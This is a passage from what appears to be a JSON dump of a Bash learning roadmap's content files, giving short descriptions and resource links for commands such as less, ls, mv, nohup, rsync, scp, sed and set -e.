    "content": "# less and more\n\n`less` and `more` are command-line utilities used to view the contents of text files, one screen at a time. They allow users to navigate through the file, search for specific patterns, and perform other basic text manipulation tasks directly from the terminal. `less` is generally preferred over `more` because it offers more features, including the ability to scroll backwards.\n\nVisit the following resources to learn more:\n\n- [@article@More Command](https://www.ibm.com/docs/en/aix/7.2.0?topic=m-more-command)\n- [@article@Less Command in Linux](https://linuxize.com/post/less-command-in-linux/)\n- [@video@How to Use Unix MORE Command](https://www.youtube.com/watch?v=at7l0REMi04)\n- [@video@Linux Command Line Tutorial For Beginners 10 - less command](https://www.youtube.com/watch?v=06GsFVeuWNk)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/let@oI019HqH9UO_tQRe2xebi.md",
    "content": "# Let Command\n\nThe `let` command in Bash is used to perform arithmetic operations. It allows you to evaluate arithmetic expressions and assign the result to a variable. It's a way to do integer calculations directly within your shell scripts without needing external commands like `expr`.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use the Bash let Command {with Examples}](https://phoenixnap.com/kb/bash-let)\n- [@article@Arithmetic](https://ryanstutorials.net/bash-scripting-tutorial/bash-arithmetic.php)\n- [@video@Bash: The \"let\" builtin command](https://www.youtube.com/watch?v=OmZVThsrdp0)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/literals@Bj0lEgFXJtG_7y6YssOcj.md",
    "content": "# Literals"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/logical@tRwO9DC_ZUD4g5iSVC40u.md",
    "content": "# Logical Operators in Bash\n\nLogical operators in Bash are used to combine or modify conditional expressions. They allow you to create more complex tests within your scripts, enabling you to execute commands based on multiple conditions being true or false. The primary logical operators are `&&` (AND), `||` (OR), and `!` (NOT). These operators are essential for controlling the flow of your scripts based on the evaluation of different conditions.\n\nVisit the following resources to learn more:\n\n- [@article@How to program with Bash: Logical operators and shell expansions](https://opensource.com/article/19/10/programming-bash-logical-operators-shell-expansions)\n- [@article@Using Logical Operators in Bash: A Comprehensive Guide](https://tecadmin.net/bash-logical-operators/)\n- [@video@Logical Operators - Bash Programming Tutorial 8](https://www.youtube.com/watch?v=sDRHmbRlNT8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/loops@1rIFm5ROQ8b1rsWeD9h4x.md",
    "content": "# Loops\n\nLoops are programming constructs that allow you to repeatedly execute a block of code. They automate repetitive tasks by iterating over a sequence of values or until a certain condition is met. This avoids writing the same code multiple times and makes scripts more efficient and easier to maintain.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Loops](https://www.w3schools.com/bash/bash_loops.php)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/ls@Kn_EQciiD_Fjj308aF_j0.md",
    "content": "# ls\n\n`ls` is a command-line utility used to list files and directories within a specified directory. By default, it displays the contents of the current working directory. It offers various options to control the output, such as displaying file sizes, modification dates, permissions, and hidden files.\n\nVisit the following resources to learn more:\n\n- [@article@Bash ls Command - List Directory Contents](https://www.w3schools.com/bash/bash_ls.php)\n- [@video@Learn the \"ls\" command! Lil' Linux Lesson!](https://www.youtube.com/watch?v=gwo--XHaz7s)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/mkdir@pwP3U4zz9Jtpnp2ZRgajh.md",
    "content": "# mkdir\n\n`mkdir` is a command-line utility used to create new directories (folders) in a file system. It allows users to organize files by grouping them into logical structures. The command takes the name(s) of the directory(s) to be created as arguments, and it can also be used to create multiple directories at once or create parent directories if they don't already exist.\n\nVisit the following resources to learn more:\n\n- [@article@Bash mkdir Command - Make Directories](https://www.w3schools.com/bash/bash_mkdir.php)\n- [@video@Linux Command Line Tutorial For Beginners 6 - mkdir Command](https://www.youtube.com/watch?v=qixSaXSUs-U)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/mv@zN32jR8SNm5P1txqQsyCv.md",
    "content": "# mv Command\n\nThe `mv` command in Unix-like operating systems is used to move or rename files and directories. It allows you to relocate files from one directory to another, effectively changing their location within the file system. Additionally, `mv` can be used to change the name of a file or directory without altering its location.\n\nVisit the following resources to learn more:\n\n- [@article@Bash mv Command - Move or Rename Files](https://www.w3schools.com/bash/bash_mv.php)\n- [@video@Linux Commands for Beginners 06 - Moving and Renaming Files](https://www.youtube.com/watch?v=cSBYvSA9rDM)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/nano@NtjrVcEHf8wuh771U2AMI.md",
    "content": "# Nano\n\nNano is a simple, beginner-friendly text editor for Unix-like operating systems. It's designed to be easy to use, with a straightforward interface that displays command shortcuts at the bottom of the screen. Nano is often pre-installed on many systems, making it readily available for quick text editing tasks.\n\nVisit the following resources to learn more:\n\n- [@official@nano – Text editor](https://www.nano-editor.org/)\n- [@article@How to Use Nano, the Linux Command Line Text Editor](https://linuxize.com/post/how-to-use-nano-text-editor/)\n- [@video@How to Use Nano | Command Line Text Editor](https://www.youtube.com/watch?v=PDWHxh9HUF8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/navigate-between-dirs@QnC0gCoBj_559CgaTQgr4.md",
    "content": "# Navigate Between Directories\n\nNavigating between directories in a shell environment involves moving from one location in the file system to another. This is primarily achieved using the `cd` (change directory) command, which allows users to specify the destination directory, whether it's a relative path from the current location or an absolute path from the root directory. Special notations like `.` (current directory), `..` (parent directory), and `~` (home directory) provide convenient shortcuts for common navigation tasks.\n\nVisit the following resources to learn more:\n\n- [@article@What are the differences between absolute and relative paths?](https://www.redhat.com/en/blog/linux-path-absolute-relative)\n- [@article@Navigating the file system with Terminal](https://gomakethings.com/navigating-the-file-system-with-terminal/)\n- [@video@What is the difference between absolute and relative paths?](https://www.youtube.com/watch?v=bxr4p5Ik4js)\n- [@video@Absolute and Relative Paths](https://www.youtube.com/watch?v=ephId3mYu9o)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/netstat-ss@bX48eoEWdUFeL2rYXuzG5.md",
    "content": "# netstat and ss\n\n`netstat` and `ss` are command-line tools used to display network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. They provide insights into the network activity of a system, allowing users to diagnose network issues, monitor connections, and understand network traffic patterns. While `netstat` has been a long-standing tool, `ss` (socket statistics) is a newer utility that offers faster and more detailed information about network sockets.\n\nVisit the following resources to learn more:\n\n- [@article@How To Use Linux SS Command](https://phoenixnap.com/kb/ss-command)\n- [@article@Netstat Command in Linux - 25 Commands with Examples](https://phoenixnap.com/kb/netstat-command)\n- [@video@How to Use the ss Command (Linux Crash Course Series)](https://www.youtube.com/watch?v=phY8Q7Woxsw)\n- [@video@Netstat Commands - Network Administration Tutorial](https://www.youtube.com/watch?v=bxFwpm4IobU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/nl@TZEmlwTGBWAZ6w8jZ-p8U.md",
    "content": "# nl\n\n`nl` is a command-line utility that numbers the lines of a file or standard input. It reads lines, adds line numbers, and writes the result to standard output. You can customize the numbering style, starting number, and increment between numbers. It's useful for adding line numbers to code, documents, or any text file for easier reference.\n\nVisit the following resources to learn more:\n\n- [@article@Use nl Command in Linux - Step-by-Step Guide](https://linuxconfig.org/nl)\n- [@video@nl command in Linux with Examples](https://www.youtube.com/watch?v=WqrRKfJWqqM)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/nohup@7-4WglSAbhBZUpP8HS6xY.md",
    "content": "# nohup\n\n`nohup` is a command-line utility used to run a command immune to hangups, with output redirected to a file. This allows a process to continue running in the background even after the user who started the process logs out or closes the terminal. It's particularly useful for long-running tasks that shouldn't be interrupted by a terminal disconnection.\n\nVisit the following resources to learn more:\n\n- [@article@How to use the nohup command in Linux](https://www.hostinger.com/tutorials/nohup-command-in-linux)\n- [@article@How to Use the nohup Command in Linux](https://www.digitalocean.com/community/tutorials/nohup-command-in-linux)\n- [@video@Nohup - Hangup Immune Commands - Commands for Linux](https://www.youtube.com/watch?v=rTB-HuuszLs)\n- [@video@How to use the nohup command](https://www.youtube.com/watch?v=E96yxNUS84c)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/numeric@a5cz3ZGg-JQKzdJdihCtO.md",
    "content": "# Numeric Data in Bash\n\nBash, by default, treats all variables as strings. However, Bash can perform arithmetic operations on variables that contain numeric values. While Bash doesn't have explicit data types like integers or floats in the same way as other programming languages, it interprets strings as numbers when used in arithmetic contexts. This allows you to perform calculations, comparisons, and other numeric manipulations within your shell scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Arithmetic - Bash Scripting Tutorial](https://ryanstutorials.net/bash-scripting-tutorial/bash-arithmetic.php)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/output-redirection@MpSnq-W8z4QA8-oU_tbRC.md",
    "content": "# Output Redirection\n\nOutput redirection in shell scripting allows you to control where the output of a command is sent. Instead of displaying on the terminal, you can redirect it to a file, either overwriting the file or appending to it. This is achieved using special operators like `>`, `>>`, `2>`, and `&>`. These operators provide a way to manage standard output (stdout), standard error (stderr), and both, making it easier to process and store command results.\n\nVisit the following resources to learn more:\n\n- [@article@Unix / Linux - Shell Input/Output Redirections](https://www.tutorialspoint.com/unix/unix-io-redirections.htm#:~:text=The%20output%20from%20a%20command,is%20known%20as%20output%20redirection.)\n- [@article@Linux Question: What is /dev/null 2>&1 ?](https://hemantjain.medium.com/linux-question-what-is-dev-null-2-1-82d75a156b5c)\n- [@video@Linux Commands for Beginners 16 - Output Redirection](https://www.youtube.com/watch?v=NUjpOLlYv7Q)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/package-management@Kwr37_gNDhkwSkg49bg35.md",
    "content": "# Package Management\n\nPackage management is the process of installing, updating, configuring, and removing software packages on a computer system. It provides a standardized way to handle software dependencies, ensuring that all necessary components are present and compatible. Package managers also simplify the process of keeping software up-to-date and removing unwanted applications cleanly."
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/pattern-replacement@aYQlgbgFt250MW1nLYvFK.md",
    "content": "# Pattern Replacement\n\nPattern replacement in shell scripting involves finding specific patterns within strings and substituting them with other strings. This is a fundamental text processing technique used to modify and transform data, allowing for tasks like cleaning up input, standardizing formats, or extracting relevant information. Shell tools like `sed`, parameter expansion, and `awk` are commonly used to achieve pattern replacement.\n\nVisit the following resources to learn more:\n\n- [@article@Parameter Substitution](https://tldp.org/LDP/abs/html/parameter-substitution.html)\n- [@article@How to Use Bash String Substitution Effectively](https://labex.io/tutorials/shell-how-to-use-bash-string-substitution-effectively-398333)\n- [@video@sed: Easily replace strings across files | #7 Practical Bash](https://www.youtube.com/watch?v=91msRzo0VYw)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/ping@D-sgMFB-IhNw41hNJsSF6.md",
    "content": "# Ping\n\nPing is a command-line utility used to test the reachability of a host on an Internet Protocol (IP) network. It works by sending Internet Control Message Protocol (ICMP) \"echo request\" packets to the target host and waiting for ICMP \"echo reply\" packets. The ping command measures the round-trip time (RTT) for these packets, indicating the latency of the connection, and also reports any packet loss.\n\nVisit the following resources to learn more:\n\n- [@article@Bash ping Command - Send Request to Network Hosts](https://www.w3schools.com/bash/bash_ping.php)\n- [@article@Ping Command in Linux](https://linuxize.com/post/linux-ping-command/)\n- [@video@Simple PING commands](https://www.youtube.com/watch?v=KYmtMBsuA50)\n- [@video@Ping Command Explained | Real World Example](https://www.youtube.com/watch?v=7sv5pL-XgSg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/pipes@YyCvxYgFzobwF_vMQXunZ.md",
    "content": "# Pipes\n\nPipes in shell scripting are a form of redirection that allows you to send the output of one command as the input to another command. This creates a chain of commands where the data flows from one process to the next, enabling you to perform complex data manipulation and filtering concisely and efficiently. The pipe operator, represented by the vertical bar `|`, connects the standard output of the command on the left to the standard input of the command on the right.\n\nVisit the following resources to learn more:\n\n- [@article@Pipelines](https://www.gnu.org/software/bash/manual/html_node/Pipelines.html)\n- [@article@Bash shell basics — pipes, redirection, and coprocesses](https://paulguerin.medium.com/bash-shell-basics-pipe-and-redirection-fbb4c2c1c0ed)\n- [@video@Bash Shell Scripting for Beginners - Using Pipes](https://www.youtube.com/watch?v=FICwAKYc0Pg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/popular-shells@IYlYUnQh2iZrdpyUsMxg0.md",
    "content": "# Popular Shells\n\nA shell is a command-line interpreter that provides a user interface for interacting with an operating system. Different shells offer varying features, syntax, and capabilities, leading to the existence of several popular choices. These shells determine how you interact with the system, execute commands, and automate tasks.\n\nVisit the following resources to learn more:\n\n- [@article@8 Types of Linux Shells](https://phoenixnap.com/kb/linux-shells)\n- [@article@What are the Different Types of Shells in Linux?](https://www.digitalocean.com/community/tutorials/different-types-of-shells-in-linux)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/powershell@y4mIT9yer85CrU_KlRxGk.md",
    "content": "# PowerShell\n\nPowerShell is a cross-platform task automation and configuration management framework, consisting of a command-line shell and associated scripting language. It's built on the .NET Common Language Runtime (CLR) and accepts and returns .NET objects, which allows for more complex and structured data manipulation compared to traditional text-based shells. PowerShell is designed to be extensible and can be used to manage various systems and applications.\n\nVisit the following resources to learn more:\n\n- [@official@What is PowerShell?](https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.5)\n- [@official@PowerShell Docs](https://learn.microsoft.com/en-us/powershell/)\n- [@opensource@PowerShell](https://github.com/PowerShell/PowerShell)\n- [@video@Learn PowerShell in Less Than 2 Hours](https://www.youtube.com/watch?v=ZOoCaWyifmI)\n- [@video@PowerShell Made Easy](https://www.youtube.com/watch?v=b7SGPchYRn0)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/printf-formatting@XCCuDzGE-5LPhHEPGvVMj.md",
    "content": "# printf Formatting\n\n`printf` is a command-line utility used to format and print text in a specific way. It allows you to control the appearance of output by using format specifiers, which define how different types of data (strings, numbers, etc.) should be displayed. This includes specifying the width, precision, alignment, and other attributes of the output.\n\nVisit the following resources to learn more:\n\n- [@article@Bash printf Command](https://linuxize.com/post/bash-printf-command/)\n- [@article@Bash printf](https://www.warp.dev/terminus/bash-printf)\n- [@video@Bash: printf usage and example](https://www.youtube.com/watch?v=_mi0O52_gwU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/process-management@ZTJrnx12KSrcyUfd0RfPu.md",
    "content": "# Process Management\n\nProcess management involves controlling and monitoring the execution of programs within an operating system. It includes tasks such as creating new processes, scheduling their execution, allocating resources, and handling inter-process communication. Effective process management ensures efficient utilization of system resources and prevents conflicts between running programs.\n\nVisit the following resources to learn more:\n\n- [@article@Managing processes](https://computing.stat.berkeley.edu/tutorial-using-bash/managing-processes.html)\n- [@article@ProcessManagement - Greg's Wiki  Greg's](https://mywiki.wooledge.org/ProcessManagement)\n- [@article@Bash Process Management: How to Tame Your Shell Like a Pro](https://itldc.com/en/blog/bash-process-management-how-to-tame-your-shell-like-a-pro/)\n- [@video@#4 - Bash command for Process Management](https://www.youtube.com/watch?v=O4C6_TJ-iws)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/process-substitution@Oc80VSBDYTHkGOV4Jqo19.md",
    "content": "# Process Substitution\n\nProcess substitution allows you to treat the output of a process as if it were a file. It achieves this by creating a temporary file (or using a pipe in some systems) and connecting the standard output of a command to it. This temporary file's name is then substituted into the command line, allowing commands that expect file arguments to read the output of another command. This is particularly useful for commands that require multiple file inputs or when you want to compare the output of two different commands.\n\nVisit the following resources to learn more:\n\n- [@article@Process Substitution](https://tldp.org/LDP/abs/html/process-sub.html)\n- [@article@Handy Bash feature: Process Substitution](https://medium.com/@joewalnes/handy-bash-feature-process-substitution-8eb6dce68133)\n- [@video@Command vs. Process substitution in Bash - explaining the difference. You Suck at Programming #073](https://www.youtube.com/watch?v=f3eIK5xk4vg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/process-substitution@uk7TEHUqTIjmH4MJToxPe.md",
    "content": "# Process Substitution\n\nProcess substitution allows you to treat the output of a process as if it were a file. It provides a way to pass the output of one command as input to another command, without using temporary files or named pipes. This is achieved by creating a temporary file-like object (either a named pipe or a file in `/dev/fd`) that the command writes its output to, and then passing the name of this object to another command as an argument.\n\nVisit the following resources to learn more:\n\n- [@article@Process Substitution](https://tldp.org/LDP/abs/html/process-sub.html)\n- [@article@Handy Bash feature: Process Substitution](https://medium.com/@joewalnes/handy-bash-feature-process-substitution-8eb6dce68133)\n- [@video@Command vs. Process substitution in Bash - explaining the difference.](https://www.youtube.com/watch?v=f3eIK5xk4vg)\n- [@video@Process Substitution in BASH - Commands for Linux](https://www.youtube.com/watch?v=dR0X0-B9ObA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/ps@gOdW5k4fRu9P-3D3ze8aA.md",
    "content": "# ps\n\n`ps` is a command-line utility that displays information about active processes running on a Linux or Unix-like operating system. It provides a snapshot of the current processes, including their process IDs (PIDs), resource usage, and other relevant details. This allows users and administrators to monitor system activity and identify processes that may be consuming excessive resources or causing issues.\n\nVisit the following resources to learn more:\n\n- [@article@Bash ps Command - Snapshot of Current Processes](https://www.w3schools.com/bash/bash_ps.php)\n- [@article@List Processes Linux: ps command for beginners](https://www.fullstackfoundations.com/blog/list-processes-linux)\n- [@video@Linux Crash Course - The ps Command](https://www.youtube.com/watch?v=wYwGNgsfN3I)\n- [@video@Process and System Management on Linux and Mac (Bash)](https://www.youtube.com/watch?v=lfN2RE8720E)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/pwd@ng5ySgj1HQmD_gfQ4TSPI.md",
    "content": "# pwd\n\n`pwd` (print working directory) is a command-line utility that displays the absolute path of the current directory you are working in. It essentially tells you where you are located within the file system hierarchy from the root directory. This is useful for navigating and understanding your position within the directory structure.\n\nVisit the following resources to learn more:\n\n- [@article@How To Use pwd Command In Linux / UNIX {with examples}](https://www.cyberciti.biz/faq/pwd-linux-unix-command-examples/)\n- [@article@Bash pwd Command - Print Working Directory](https://www.w3schools.com/bash/bash_pwd.php)\n- [@video@How to use the pwd command: 2-Minute Linux Tips](https://www.youtube.com/watch?v=bBM_flm2Ths)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/read-user-input@o2vQXl9WDOO4NAsLjYv_4.md",
    "content": "# Read User Input\n\nReading user input in a shell script allows the script to interact with the person running it. This is achieved by pausing the script's execution and waiting for the user to type something and press Enter. The entered text can then be stored in a variable and used later in the script for various purposes, such as making decisions or providing customized output.\n\nVisit the following resources to learn more:\n\n- [@article@User Input!](https://ryanstutorials.net/bash-scripting-tutorial/bash-input.php)\n- [@article@Reading User Input](https://www.warp.dev/terminus/bash-reading-user-input)\n- [@video@How do I read user input into a variable in Bash | Shell Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=Sc2v6Dj3Z4M)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/recursive-functions@X4-kdfaVimq5VP_gPTWR0.md",
    "content": "# Recursive Functions\n\nRecursive functions are functions that call themselves within their own definition. This allows a function to repeat a process until a specific condition is met, breaking down a complex problem into smaller, self-similar subproblems. Each call adds a new layer to the execution stack, and it's crucial to have a base case to prevent infinite loops.\n\nVisit the following resources to learn more:\n\n- [@article@Recursive function](https://bash.cyberciti.biz/guide/Recursive_function)\n- [@article@How to implement a recursive function in a Bash script?](https://labex.io/questions/how-to-implement-a-recursive-function-in-a-bash-script-18293)\n- [@video@What is Recursion in bash (Bash 23)](https://www.youtube.com/watch?v=K_BgGxtK2gE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/redirects--pipelines@reLvp_PnKqpyWWtnuICPj.md",
    "content": "# Redirects & Pipelines\n\nRedirects and pipelines are fundamental features in the shell that allow you to control the flow of data between commands. Redirects change where a command's input comes from or where its output goes, allowing you to read from files or write to files. Pipelines connect the output of one command directly to the input of another, enabling you to chain commands together to perform complex operations in a sequence.\n\nVisit the following resources to learn more:\n\n- [@official@Redirections](https://www.gnu.org/software/bash/manual/html_node/Redirections.html)\n- [@article@Unix / Linux - Shell Input/Output Redirections](https://www.tutorialspoint.com/unix/unix-io-redirections.htm)\n- [@video@IO Redirection in Bash EXPLAINED](https://www.youtube.com/watch?v=7VaO2dxs_kg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/regex--grep-sed-awk@jg-aCpStgHiyt7edHHg7G.md",
    "content": "# regex + grep, sed, awk"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/regular-expressions@W7NlQoj0EDxvuMVj4MKXc.md",
    "content": "# Regular Expressions\n\nRegular expressions (regex) are sequences of characters that define a search pattern. They are used to match, locate, and manipulate text based on specific patterns. Regex provides a powerful way to search for strings that match a certain format, such as email addresses, phone numbers, or specific keywords within a larger body of text.\n\nVisit the following resources to learn more:\n\n- [@article@Regular expressions](https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_04_01.html)\n- [@article@Bash Regex: How to Use Regex in a Shell Script](https://kodekloud.com/blog/regex-shell-script/)\n- [@article@Beginners Guide to Bash Regex (With Code Examples)](https://zerotomastery.io/blog/bash-regex/)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/repeat-commands@tu3NFc76-j6VVysFdk8Kd.md",
    "content": "# Repeat Commands\n\nIn the shell, you can easily access and reuse previously executed commands. The most common way to do this is using the up and down arrow keys to navigate through your command history. Alternatively, you can use the `history` command to view a numbered list of past commands, and then execute a specific command by typing `!n`, where `n` is the command's number in the history list. You can also use `!!` to repeat the last command, or `!string` to execute the most recent command that starts with \"string\".\n\nVisit the following resources to learn more:\n\n- [@article@How To Use Bash History Commands and Expansions on a Linux VPS](https://www.digitalocean.com/community/tutorials/how-to-use-bash-history-commands-and-expansions-on-a-linux-vps)\n- [@video@Bash History | Your Linux Command History Explained](https://www.youtube.com/watch?v=Bth-1rLKjGU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/rm@uS5HS_4a-lk3AtXaMyAlp.md",
    "content": "# rm Command\n\nThe `rm` command in Unix-like operating systems is used to remove files or directories. It permanently deletes the specified files, so caution is advised when using it. By default, `rm` does not remove directories; specific options are needed to remove directories and their contents recursively.\n\nVisit the following resources to learn more:\n\n- [@article@Bash rm Command - Remove Files or Directories](https://www.w3schools.com/bash/bash_rm.php)\n- [@video@Linux Command Line Tutorial For Beginners 7 - rm and rmdir commands for linux](https://www.youtube.com/watch?v=yrw6Uxs-yJk)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/rmdir@cqZP-2xfil-1Zq3TD7qiN.md",
    "content": "# rmdir\n\n`rmdir` is a command-line utility used to remove empty directories. It's a straightforward tool that helps in cleaning up directory structures by deleting directories that no longer contain any files or subdirectories. The command will return an error if the directory is not empty.\n\nVisit the following resources to learn more:\n\n- [@article@Deleting or removing directories (rmdir command)](https://www.ibm.com/docs/en/aix/7.2.0?topic=directories-deleting-removing-rmdir-command)\n- [@video@Linux Command Line Tutorial For Beginners 7 - rm and rmdir commands for linux](https://www.youtube.com/watch?v=yrw6Uxs-yJk)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/rsync@mImvR0TfLjDqj_Td4G7Gy.md",
    "content": "# rsync\n\nrsync is a command-line utility for efficiently transferring and synchronizing files between a computer and an external hard drive or across networked computers. It minimizes data transfer by only copying the differences between the source and destination, making it faster than simple copy commands, especially for large files or directories. rsync is commonly used for backups, mirroring data, and updating websites.\n\nVisit the following resources to learn more:\n\n- [@article@Rsync Command in Linux with Examples](https://linuxize.com/post/how-to-use-rsync-for-local-and-remote-data-transfer-and-synchronization/)\n- [@article@How To Use Rsync to Sync Local and Remote Directories](https://www.digitalocean.com/community/tutorials/how-to-use-rsync-to-sync-local-and-remote-directories)\n- [@article@Bash rsync Command - Remote (and local) File-copying](https://www.w3schools.com/bash/bash_rsync.php)\n- [@video@Linux File Transfers Made Easy with rsync](https://www.youtube.com/watch?v=KG78O53u8rY)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/running-shell-scripts@dj3KiBtPjRK2DF5HeuoYZ.md",
    "content": "# Running Shell Scripts\n\nRunning a shell script involves executing a file containing a series of commands that the shell interprets and performs. This allows you to automate tasks, create reusable tools, and manage system operations by grouping commands into a single executable unit. The script is typically a plain text file with a `.sh` extension, and it needs execute permissions to be run directly.\n\nVisit the following resources to learn more:\n\n- [@article@How to run the .sh file in Linux](https://www.hostinger.com/tutorials/how-to-run-sh-file-in-linux)\n- [@article@How To Run the .sh File Shell Script In Linux / UNIX](https://www.cyberciti.biz/faq/run-execute-sh-shell-script/)\n- [@video@How to run bash script in Linux | Linux in a Minute](https://www.youtube.com/watch?v=iViofyFir9o)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/running-with-bash@aZ7WGLUZyejFRbfWtSyhB.md",
    "content": "# Running with Bash\n\nRunning a shell script with Bash involves explicitly invoking the Bash interpreter to execute the commands within the script. This is typically done by using the `bash` command followed by the script's filename as an argument. This method ensures that the script is interpreted and executed using the Bash shell, regardless of the script's shebang line or the user's default shell.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Scripting Tutorial – Linux Shell Script and Command Line for Beginners](https://www.freecodecamp.org/news/bash-scripting-tutorial-linux-shell-script-and-command-line-for-beginners/)\n- [@video@How to run bash script in Linux | Linux in a Minute](https://www.youtube.com/watch?v=iViofyFir9o)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/running-with-source@ZBYzPltaUePoOldJ6zRj8.md",
    "content": "# Running Shell Scripts with Source\n\nSourcing a shell script executes the commands within the script in the _current_ shell environment, rather than in a subshell. This means that any variables, functions, or aliases defined or modified within the script will directly affect the shell you're currently working in. This is in contrast to simply executing a script, which creates a new process and any changes are isolated to that process.\n\nVisit the following resources to learn more:\n\n- [@article@https://dillionmegida.com/p/sourcing-vs-executing-script-directly/](https://dillionmegida.com/p/sourcing-vs-executing-script-directly/)\n- [@video@Source Shell Script vs Executing Shell Script - The Real Difference](https://www.youtube.com/watch?v=ZIqRmp-XBRY)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/rwx@M27BJ6fgVdaBxyWE-OdNl.md",
    "content": "# rwx File Permissions\n\nIn Unix-like operating systems, file permissions control who can access and modify files and directories. The \"rwx\" notation represents the three fundamental permission types: \"r\" for read, allowing users to view the contents of a file or list the contents of a directory; \"w\" for write, allowing users to modify a file or create/delete files within a directory; and \"x\" for execute, allowing users to run a file as a program or enter a directory. These permissions are assigned to three categories of users: the owner of the file, the group associated with the file, and all other users.\n\nVisit the following resources to learn more:\n\n- [@article@Permissions](https://linuxcommand.org/lc3_lts0090.php)\n- [@video@Linux Crash Course - Understanding File Permissions](https://www.youtube.com/watch?v=4N4Q576i3zA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/scp@PzRwOkhukRE1cTHXOXUTu.md",
    "content": "# scp\n\n`scp`, short for secure copy, is a command-line utility that allows you to securely transfer files between a local host and a remote host or between two remote hosts. It uses the SSH protocol for data transfer, ensuring that the data is encrypted during transmission, thus protecting it from eavesdropping. `scp` is commonly used for tasks like uploading website files to a server, backing up data to a remote location, or sharing files between team members.\n\nVisit the following resources to learn more:\n\n- [@article@How to Use SCP Command to Securely Transfer Files](https://linuxize.com/post/how-to-use-scp-command-to-securely-transfer-files/)\n- [@article@How to use SCP command to copy and transfer files in Linux](https://www.hostinger.com/tutorials/linux-scp-command)\n- [@video@Transferring files with the scp Command (Linux Crash Course Series)](https://www.youtube.com/watch?v=Aa7tKMmeFZI)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/script-arguments@BCkD0b9unC1lfjUThU3hX.md",
    "content": "# Script Arguments\n\nScript arguments are values passed to a shell script when it is executed. These arguments allow you to customize the script's behavior without modifying the script's code directly. They are accessed within the script using positional parameters like `$1`, `$2`, `$3`, and so on, where `$1` represents the first argument, `$2` the second, and so forth. The special variable `$0` holds the name of the script itself, and `$#` contains the number of arguments passed.\n\nVisit the following resources to learn more:\n\n- [@article@Using Arguments in Bash Scripts](https://refine.dev/blog/bash-script-arguments/#introduction)\n- [@article@Adding arguments and options to your Bash scripts](https://www.redhat.com/en/blog/arguments-options-bash-scripts)\n- [@video@Passing Arguments to the Script | Shell Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=Gexu9M7p5aU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/sed@4XfvvrFQoV0X7dfaKYFlv.md",
    "content": "# sed\n\n`sed` (Stream EDitor) is a powerful command-line utility used for text transformation. It operates on a stream of text, performing operations like searching, replacing, deleting, and inserting text based on patterns or line numbers. `sed` is commonly used in shell scripting for automating text editing tasks and manipulating data within files or pipelines.\n\nVisit the following resources to learn more:\n\n- [@article@Bash sed Command - Stream Editor](https://www.w3schools.com/bash/bash_sed.php)\n- [@article@Mastering sed Command in Linux: A Comprehensive Guide | DigitalOcean](https://www.digitalocean.com/community/tutorials/linux-sed-command)\n- [@video@Linux Crash Course - The sed Command](https://www.youtube.com/watch?v=nXLnx8ncZyE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/set--e@I-N9SM8ZVcOTVQs8_vtJm.md",
    "content": "# set -e\n\n`set -e` is a shell command that instructs the shell to exit immediately if a command exits with a non-zero status. This is a way to ensure that your script stops executing as soon as an error occurs, preventing subsequent commands from running based on potentially incorrect or incomplete results. It's a common practice to include `set -e` at the beginning of a script to enforce stricter error checking.\n\nVisit the following resources to learn more:\n\n- [@article@Executing Code after an Error Occurs with Bash When Using set e](https://nickjanetakis.com/blog/executing-code-after-an-error-occurs-with-bash-when-using-set-e)\n- [@article@Allowing for Errors in Bash When You Have set -e Defined](https://nickjanetakis.com/blog/allowing-for-errors-in-bash-when-you-have-set-e-defined)\n- [@video@Shell Script Error Handling: Master Bash Scripting for Robust Code](https://www.youtube.com/watch?v=uFJiDD1B5I4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/set--o@OOskpOLWFe1rN0XMuabAS.md",
